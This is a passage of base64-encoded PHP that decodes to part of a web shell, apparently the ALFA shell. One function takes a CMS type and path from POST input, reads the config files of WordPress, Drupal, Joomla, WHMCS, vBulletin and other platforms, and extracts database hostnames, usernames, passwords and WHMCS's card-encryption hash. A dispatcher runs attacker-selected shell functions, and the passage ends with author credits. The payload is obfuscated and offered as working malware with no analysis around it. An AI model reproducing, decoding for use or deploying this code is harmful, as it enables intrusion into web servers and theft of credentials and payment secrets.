JCSRmbGFnc1siY2xpZW50Il1bIm5hbWUiXSA9ICRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107DQoJCQkJJGZsYWdzWyJjbGllbnQiXVsiY29kZSJdID0gJGZsYWcyWydnZW9wbHVnaW5fY291bnRyeUNvZGUnXTsNCgkJCX0NCgkJfQ0KCX0NCgllY2hvIGpzb25fZW5jb2RlKCRmbGFncyk7DQp9DQpmdW5jdGlvbiBhbGZhR2V0Q29uZmlnKCl7DQokY21zID0gJF9QT1NUWydhbGZhMSddOw0KJHBhdGggPSB0cmltKCRfUE9TVFsnYWxmYTInXSk7DQokY29uZmlnID0gYXJyYXkoDQond3AnPT5hcnJheSgnZmlsZSc9Picvd3AtY29uZmlnLnBocCcsDQonaG9zdCc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfSE9TVCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwNCidkYm5hbWUnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX05BTUUoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksDQonZGJ1c2VyJz0+YXJyYXkoIi9kZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9VU0VSKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLA0KJ2RicHcnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BBU1NXT1JEKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLA0KJ3ByZWZpeCc9PmFycmF5KCIvdGFibGVfcHJlZml4WyBdezAsfT1bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwxKQ0KKSwNCidkcnVwYWwnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsDQonaG9zdCc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfSE9TVE5BTUUoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksDQonZGJuYW1lJz0+YXJyYXkoIi9kZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9EQVRBQkFTRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwNCidkYnVzZXInPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1VTRVJOQU1FKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLA0KJ2RicHcnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BBU1NXT1JEKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLA0KJ3ByZWZpeCc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfUFJFRklYKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpDQopLA0KJ2RydXBhbDInPT5hcnJheSgnZmlsZSc9Picvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLA0KJ2hvc3QnPT5hcnJheSgiLyg/Oid8XCIpaG9zdCg/Oid8XCIpWyBdezAsfT0+WyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH0sLyIsMSksDQonZGJuYW1lJz0+YXJyYXkoIi8oPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwNCidkYnVzZXInPT5hcnJheSgiLyg/Oid8XCIpdXNlcm5hbWUoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpLA0KJ2RicHcnPT5hcnJheSgiLyg/Oid8XCIpcGFzc3dvcmQoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpLA0KJ3ByZWZpeCc9PmFycmF5KCIvKD86J3xcIilwcmVmaXgoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpDQopLA0KJ3ZiJz0+YXJyYXkoJ2ZpbGUnPT4nL2luY2x1ZGVzL2NvbmZpZy5waHAnLA0KJ2hvc3QnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXNlcnZlcm5hbWUoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpLA0KJ2RidXNlcic9PmFycmF5KCIvY29uZmlnXFsoPzonfFwiKU1hc3RlclNlcnZlcig/Oid8XCIpXF1cWyg/Oid8XCIpdXNlcm5hbWUoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpLA0KJ2RibmFtZSc9PmFycmF5KCIvY29uZmlnXFsoPzonfFwiKURhdGFiYXNlKD86J3xcIilcXVxbKD86J3xcIilkYm5hbWUoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpLA0KJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwNCidwcmVmaXgnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilEYXRhYmFzZSg/Oid8XCIpXF1cWyg/Oid8XCIpdGFibGVwcmVmaXgoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpDQopLA0KJ3BocG51a2UnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsDQonaG9zdCc9PmFycmF5KCcvZGJob3N0KFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksDQonZGJuYW1lJz0+YXJyYXkoJy9kYm5hbWUoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwNCidkYnVzZXInPT5hcnJheSgnL2RidW5hbWUoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwNCidkYnB3Jz0+YXJyYXkoJy9kYnBhc3MoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwNCidwcmVmaXgnPT5hcnJheSgnL3ByZWZpeChccyspPShccyspKD86XCd8IikoLio/KSg/OlwnfCIpOy8nLDMpDQopLA0KJ3NtZic9PmFycmF5KCdmaWxlJz0+Jy9TZXR0aW5ncy5waHAnLA0KJ2hvc3QnPT5hcnJheSgiL2RiX3NlcnZlcihccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RidXNlcic9PmFycmF5KCIvZGJfdXNlcihccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RicHcnPT5hcnJheSgiL2RiX3Bhc3N3ZChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ3ByZWZpeCc9PmFycmF5KCIvZGJfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykNCiksDQond2htY3MnPT5hcnJheSgnZmlsZSc9PicvY29uZmlndXJhdGlvbi5waHAnLA0KJ2hvc3QnPT5hcnJheSgiL2RiX2hvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYm5hbWUnPT5hcnJheSgiL2RiX25hbWUoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYnVzZXInPT5hcnJheSgiL2RiX3VzZXJuYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQonZGJwdyc9PmFycmF5KCIvZGJfcGFzc3dvcmQoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidjY19lbmNyeXB0aW9uX2hhc2gnPT5hcnJheSgiL2NjX2VuY3J5cHRpb25faGFzaChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpDQopLA0KJ2pvb21sYSc9PmFycmF5KCdmaWxlJz0+Jy9jb25maWd1cmF0aW9uLnBocCcsDQonaG9zdCc9PmFycmF5KCIvXFxcJGhvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYm5hbWUnPT5hcnJheSgiL1xcXCRkYihccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RidXNlcic9PmFycmF5KCIvXFxcJHVzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYnB3Jz0+YXJyYXkoIi9cXFwkcGFzc3dvcmQoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidwcmVmaXgnPT5hcnJheSgiL1xcXCRkYnByZWZpeChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpDQopLA0KJ3BocGJiJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZy5waHAnLA0KJ2hvc3QnPT5hcnJheSgiL2RiaG9zdChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RibmFtZSc9PmFycmF5KCIvZGJuYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQonZGJ1c2VyJz0+YXJyYXkoIi9kYnVzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYnB3Jz0+YXJyYXkoIi9kYnBhc3N3ZChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ3ByZWZpeCc9PmFycmF5KCIvdGFibGVfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykNCiksDQonbXliYic9PmFycmF5KCdmaWxlJz0+Jy9pbmMvY29uZmlnLnBocCcsDQonaG9zdCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWydob3N0bmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RibmFtZSc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWydkYXRhYmFzZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RidXNlcic9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWyd1c2VybmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsncGFzc3dvcmQnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidwcmVmaXgnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsndGFibGVfcHJlZml4J1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykNCikNCik7DQppZigkY21zID09ICJkcnVwYWwiKXsNCgkkZmlsZSA9ICRjb25maWdbJGNtc11bJ2ZpbGUnXTsNCgkkZmlsZT0kcGF0aC4kZmlsZTsNCglpZihAaXNfZmlsZSgkZmlsZSl8fF9hbGZhX2lzX2RpcigkZmlsZSwiLWUiKSl7DQoJfWVsc2V7DQoJCSRjbXMgPSAnZHJ1cGFsMic7DQoJfQ0KfQ0KaWYoJGNtcyA9PSAidmIiKXsNCgkkZmlsZSA9ICRjb25maWdbJGNtc11bJ2ZpbGUnXTsNCgkkZmlsZT0kcGF0aC4kZmlsZTsNCglpZihAaXNfZmlsZSgkZmlsZSl8fF9hbGZhX2lzX2RpcigkZmlsZSwiLWUiKSl7DQoJfWVsc2V7DQoJCSRwYXRoIC49ICcvY29yZSc7DQoJfQ0KfQ0KJGRhdGEgPSBhcnJheSgpOw0KJHNyY2hfaG9zdCA9ICRjb25maWdbJGNtc11bJ2hvc3QnXVswXTsNCiRzcmNoX3VzZXIgPSAkY29uZmlnWyRjbXNdWydkYnVzZXInXVswXTsNCiRzcmNoX25hbWUgPSAkY29uZmlnWyRjbXNdWydkYm5hbWUnXVswXTsNCiRzcmNoX3B3ID0gJGNvbmZpZ1skY21zXVsnZGJwdyddWzBdOw0KJHByZWZpeCA9ICRjb25maWdbJGNtc11bJ3ByZWZpeCddWzBdOw0KJGZpbGUgPSAkY29uZmlnWyRjbXNdWydmaWxlJ107DQokY2hvc3QgPSAkY29uZmlnWyRjbXNdWydob3N0J11bMV07DQokY3VzZXIgPSAkY29uZmlnWyRjbXNdWydkYnVzZXInXVsxXTsNCiRjbmFtZSA9ICRjb25maWdbJGNtc11bJ2RibmFtZSddWzFdOw0KJGNwdyA9ICRjb25maWdbJGNtc11bJ2RicHcnXVsxXTsNCiRjcHJlZml4ID0gJGNvbmZpZ1skY21zXVsncHJlZml4J11bMV07DQppZihAaXNfZGlyKCRwYXRoKXx8X2FsZmFfaXNfZGlyKCRwYXRoKSl7DQokZmlsZT0kcGF0aC4kZmlsZTsNCn1lbHNlaWYoQGlzX2ZpbGUoJHBhdGgpfHxfYWxmYV9pc19kaXIoJHBhdGgsIi1lIikpew0KJGZpbGU9JHBhdGg7DQp9ZWxzZXsNCnJldHVybiBmYWxzZTsNCn0NCiRmaWxlID0gX19yZWFkX2ZpbGUoJGZpbGUpOw0KaWYoJGNtcyA9PSAiZHJ1cGFsMiIpew0KCSRmaWxlID0gcHJlZ19yZXBsYWNlKCIvXEBjb2RlKC4qPylcQGVuZGNvZGUvcyIsICIiLCAkZmlsZSk7DQp9ZWxzZWlmKCRjbXMgPT0gInZiIil7DQoJJGZpbGUgPSBwcmVnX3JlcGxhY2UoIi9yaWdodCBvZiB0aGUoLio/KUJBRCEvcyIsICIiLCAkZmlsZSk7DQp9DQppZihwcmVnX21hdGNoKCRzcmNoX2hvc3QsICRmaWxlLCAkbWFjaCkpew0KJGRhdGFbJ2hvc3QnXSA9ICRtYWNoWyRjaG9zdF07DQp9DQppZihwcmVnX21hdGNoKCRzcmNoX3VzZXIsICRmaWxlLCAkbWFjaCkpew0KJGRhdGFbJ3VzZXInXSA9ICRtYWNoWyRjdXNlcl07DQp9DQppZihwcmVnX21hdGNoKCRzcmNoX25hbWUsICRmaWxlLCAkbWFjaCkpew0KJGRhdGFbJ2RibmFtZSddID0gJG1hY2hbJGNuYW1lXTsNCn0NCmlmKHByZWdfbWF0Y2goJHNyY2hfcHcsICRmaWxlLCAkbWFjaCkpew0KJGRhdGFbJ3Bhc3N3b3JkJ10gPSAkbWFjaFskY3B3XTsNCn0NCmlmKGlzc2V0KCRwcmVmaXgpKXsNCmlmKHByZWdfbWF0Y2goJHByZWZpeCwgJGZpbGUsICRtYWNoKSl7DQokZGF0YVsncHJlZml4J10gPSAkbWFjaFskY3ByZWZpeF07DQp9DQp9DQppZigkY21zPT0nd2htY3MnKXsNCmlmKHByZWdfbWF0Y2goJGNvbmZpZ1skY21zXVsnY2NfZW5jcnlwdGlvbl9oYXNoJ11bMF0sICRmaWxlLCAkbWFjaCkpew0KJGRhdGFbJ2NjX2VuY3J5cHRpb25faGFzaCddID0gJG1hY2hbM107DQp9DQp9DQplY2hvIGpzb25fZW5jb2RlKCRkYXRhKTsNCn0NCmlmKGVtcHR5KCRfUE9TVFsnYSddKSkNCmlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhbGZhJyAuICRkZWZhdWx0X2FjdGlvbikpDQokX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCmVsc2UNCiRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuMic7Ly8nRmlsZXNNYW4nOw0KaWYoIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FsZmEnIC4gJF9QT1NUWydhJ10pKQ0KY2FsbF91c2VyX2Z1bmMoJ2FsZmEnIC4gJF9QT1NUWydhJ10pOw0KZXhpdDsNCi8qDQojUGVyc2lhbiBHdWxmIEZvciBFdmVyDQojc2t5cGUgOiBzb2xlLnNhZA0KI3NreXBlIDogZWhzYW4uaW52aXNpYmxlDQoqLw0KPz4NCg=="));?>
|